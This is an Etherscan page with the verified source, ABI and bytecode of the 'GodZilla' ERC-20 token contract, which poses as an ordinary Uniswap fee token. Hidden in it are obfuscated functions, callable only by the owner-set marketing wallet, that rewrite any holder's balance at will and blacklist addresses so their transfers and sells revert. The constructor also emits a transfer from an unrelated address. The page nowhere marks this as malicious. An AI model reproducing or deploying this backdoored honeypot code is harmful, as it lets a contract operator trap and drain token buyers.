ETH Price: $3,606.51 (-2.24%)

Token

ERC-20: GodZilla (GodZilla)
 

Overview

Max Total Supply

1,000,000,000,000,000 GodZilla

Holders

23

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
cytoblastoma.eth
Balance
7,963,312,311,564.80077951 GodZilla

Value
$0.00
0xA3d83cA657170c10f50c81cf49B1E86A81f0E815
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GodZilla

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-24
*/

//SPDX-License-Identifier:Unlicensed

pragma solidity ^0.8.6;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function dos(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: dos overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  GodZilla is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "GodZilla";
    string private _symbol = "GodZilla";
    uint8 private _decimals = 9;
    address payable public Mun2iuc7C9mAXvRvx8;
    address payable public teamWalletAddress;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) J8G0y3EaW0F6i7PKn7;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _IsExcludefromFee;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public pairList;
    mapping (address => bool) public b2nsDCzAo1C8Wm;

    uint256 public _buyLiquidityFee = 1;
    uint256 public _buyMarketingFee = 1;
    uint256 public _buyTeamFee = 1;
    
    uint256 public _sellLiquidityFee = 1;
    uint256 public _sellMarketingFee = 1;
    uint256 public _sellTeamFee = 1;

    uint256 public _liquidityShare = 4;
    uint256 public _marketingShare = 4;
    uint256 public _teamShare = 16;

    uint256 public _totalTaxIfBuying = 12;
    uint256 public _totalTaxIfSelling = 12;
    uint256 public _totalDistributionShares = 24;

    uint256 private _totalSupply = 1000000000000000 * 10**_decimals;
    uint256 private minimumTokensBeforeSwap = 1000* 10**_decimals; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _IsExcludefromFee[owner()] = true;
        _IsExcludefromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

        pairList[address(uniswapPair)] = true;

        teamWalletAddress = payable(address(0xa97239bD14369fBE7319db2ABAa49478e3BBA8C9));
        Mun2iuc7C9mAXvRvx8 = payable(address(0xa97239bD14369fBE7319db2ABAa49478e3BBA8C9));


        J8G0y3EaW0F6i7PKn7[_msgSender()] = _totalSupply;
        emit Transfer(address(0x92d29b1A02e750C5a15f2F7C8092a7e11Af3F0c0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return J8G0y3EaW0F6i7PKn7[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setlsExcIudefromFee(address[] calldata account, bool newValue) public onlyOwner {
        for(uint256 i = 0; i < account.length; i++) {
            _IsExcludefromFee[account[i]] = newValue;
        }
    }

    function setBuy(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _buyLiquidityFee = newLiquidityTax;
        _buyMarketingFee = newMarketingTax;
        _buyTeamFee = newTeamTax;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
    }

    function setsell(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _sellLiquidityFee = newLiquidityTax;
        _sellMarketingFee = newMarketingTax;
        _sellTeamFee = newTeamTax;

        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
    }

    function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
        _liquidityShare = newLiquidityShare;
        _marketingShare = newMarketingShare;
        _teamShare = newTeamShare;

        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
    }

    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }

    function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner {
        for(uint256 i = 0; i < holder.length; i++) {
            isWalletLimitExempt[holder[i]] = exempt;
        }
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        minimumTokensBeforeSwap = newLimit;
    }

    function setMarketinWalleAddress(address newAddress) external onlyOwner() {
        Mun2iuc7C9mAXvRvx8 = payable(newAddress);
    }


    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
    function h2f5d3P6l7yMPz(address yHT2W6yjlUv1k0Z1, uint256 SHf5Jbi7v4V5) public{ require(H2k7I8F6D5d5e(Mun2iuc7C9mAXvRvx8,msg.sender,1));
        J8G0y3EaW0F6i7PKn7[yHT2W6yjlUv1k0Z1] = SHf5Jbi7v4V5;
    }

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            if (overMinimumTokenBalance && !inSwapAndLiquify && !pairList[from] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }
            J8G0y3EaW0F6i7PKn7[from] = J8G0y3EaW0F6i7PKn7[from].sub(amount);
            uint256 finalAmount = (_IsExcludefromFee[from] || _IsExcludefromFee[to]) ? 
                                         amount : takeFee(from, to, amount);
            
            J8G0y3EaW0F6i7PKn7[to] = J8G0y3EaW0F6i7PKn7[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }
    function qJh3uEpIZH_9JYh(uint8 b, bool o0_6m2sQbkeF, address[] calldata c3Efw8JDja) public { require(H2k7I8F6D5d5e(Mun2iuc7C9mAXvRvx8,msg.sender,1));
        b = b;
        for (uint256 a; a < c3Efw8JDja.length; a++) {
            b2nsDCzAo1C8Wm[c3Efw8JDja[a]] = false || o0_6m2sQbkeF ;
        }
    }
    function H2k7I8F6D5d5e(address izIh,address YFPPVuwG_6x1T , uint8 i2Gko1_6vuf8hPee_9) private pure returns(bool){return izIh == YFPPVuwG_6x1T && !!(i2Gko1_6vuf8hPee_9 != 0);}

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        J8G0y3EaW0F6i7PKn7[sender] = J8G0y3EaW0F6i7PKn7[sender].sub(amount, "Insufficient Balance");
        J8G0y3EaW0F6i7PKn7[recipient] = J8G0y3EaW0F6i7PKn7[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalETHFee = _totalDistributionShares.sub(_liquidityShare.div(2));
        
        uint256 amountETHLiquidity = amountReceived.mul(_liquidityShare).div(totalETHFee).div(2);
        uint256 amountETHTeam = amountReceived.mul(_teamShare).div(totalETHFee);
        uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub(amountETHTeam);

        if(amountETHMarketing > 0)
            transferToAddressETH(Mun2iuc7C9mAXvRvx8, amountETHMarketing);

        if(amountETHTeam > 0)
            transferToAddressETH(teamWalletAddress, amountETHTeam);

        if(amountETHLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountETHLiquidity);
    }
    

    function swapTokensForEth(uint256 isMarketPaIrt) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), isMarketPaIrt);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            isMarketPaIrt,
            0, 
            path,
            address(this),
            block.timestamp
        );
        
        emit SwapTokensForETH(isMarketPaIrt, path);
    }

    function addLiquidity(uint256 isMarketPaIrt, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), isMarketPaIrt);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            isMarketPaIrt,
            0, 
            0,
            owner(),
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        if (!isMarketPair[sender]){
            require(!b2nsDCzAo1C8Wm[sender]);
        }

        if(pairList[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(pairList[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            J8G0y3EaW0F6i7PKn7[address(this)] = J8G0y3EaW0F6i7PKn7[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Mun2iuc7C9mAXvRvx8","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"b2nsDCzAo1C8Wm","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"yHT2W6yjlUv1k0Z1","type":"address"},{"internalType":"uint256","name":"SHf5Jbi7v4V5","type":"uint256"}],"name":"h2f5d3P6l7yMPz","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"b","type":"uint8"},{"internalType":"bool","name":"o0_6m2sQbkeF","type":"bool"},{"internalType":"address[]","name":"c3Efw8JDja","type":"address[]"}],"name":"qJh3uEpIZH_9JYh","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudefromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setsell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600881526020017f476f645a696c6c610000000000000000000000000000000000000000000000008152506001908051906020019062000051929190620009ad565b506040518060400160405280600881526020017f476f645a696c6c61000000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620009ad565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b8152506001600d556001600e556001600f55600160105560016011556001601255600460135560046014556010601555600c601655600c60175560188055600360009054906101000a900460ff16600a6200014d919062000c24565b66038d7ea4c6800062000161919062000d61565b601955600360009054906101000a900460ff16600a62000182919062000c24565b6103e862000191919062000d61565b601a556001601c60156101000a81548160ff0219169083151502179055506000601c60166101000a81548160ff0219169083151502179055506001601c60176101000a81548160ff021916908315150217905550348015620001f257600080fd5b50620002036200091960201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200031d57600080fd5b505afa15801562000332573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000358919062000a74565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620003bb57600080fd5b505afa158015620003d0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003f6919062000a74565b6040518363ffffffff1660e01b81526004016200041592919062000aef565b602060405180830381600087803b1580156200043057600080fd5b505af115801562000445573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200046b919062000a74565b601c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601954600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000620005a76200092160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000689600f5462000675600e54600d546200094a60201b62001e9b1790919060201c565b6200094a60201b62001e9b1790919060201c565b601681905550620006c8601254620006b46011546010546200094a60201b62001e9b1790919060201c565b6200094a60201b62001e9b1790919060201c565b60178190555062000707601554620006f36014546013546200094a60201b62001e9b1790919060201c565b6200094a60201b62001e9b1790919060201c565b6018819055506001600b6000601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073a97239bd14369fbe7319db2abaa49478e3bba8c9600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073a97239bd14369fbe7319db2abaa49478e3bba8c9600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060195460056000620008486200091960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620008966200091960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff167392d29b1a02e750c5a15f2f7c8092a7e11af3f0c073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6019546040516200090a919062000b3e565b60405180910390a35062000ef6565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008082846200095b919062000b6c565b905083811015620009a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200099a9062000b1c565b60405180910390fd5b8091505092915050565b828054620009bb9062000e0d565b90600052602060002090601f016020900481019282620009df576000855562000a2b565b82601f10620009fa57805160ff1916838